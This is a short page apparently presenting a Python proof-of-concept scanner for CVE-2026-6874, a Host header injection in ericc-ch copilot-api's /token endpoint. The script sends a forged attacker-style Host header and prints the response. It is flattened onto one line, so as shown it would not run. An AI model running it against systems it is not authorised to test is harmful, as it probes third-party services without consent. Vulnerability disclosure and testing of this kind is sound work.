CVE-2026-6874 copilot-api Host头部处理漏洞

import requests # PoC for CVE-2026-6874: Host Header Injection in ericc-ch copilot-api # Target: ericc-ch copilot-api <= 0.7.0 # Endpoint: /token def check_vulnerability(target_url): # Malicious host header to trigger reverse DNS reliance malicious_host = "evil attacker-controlled.com" headers = { "Host": malicious_host, "User-Agent": "CVE-2026-6874-Scanner" } try: print(f"[*] Sending request to {target_url}/token with Host: {malicious_host}") response = requests.get(f"{target_url}/token", headers=headers, timeout=10) # Analyze response if response.status_code == 200: # Check if the application behaves differently or reflects the host print(f"[+] Request accepted. Status Code: {response.status_code}") print(f"[+] Response Headers: {response.headers}") print("[+] The application may be relying on the untrusted Host header.") else: print(f"[-] Request failed or blocked. Status Code: {response.status_code}") except Exception as e: print(f"[!] Error occurred: {e}") if __name__ == "__main__": target = "http://localhost:8080" # Replace with actual target check_vulnerability(target)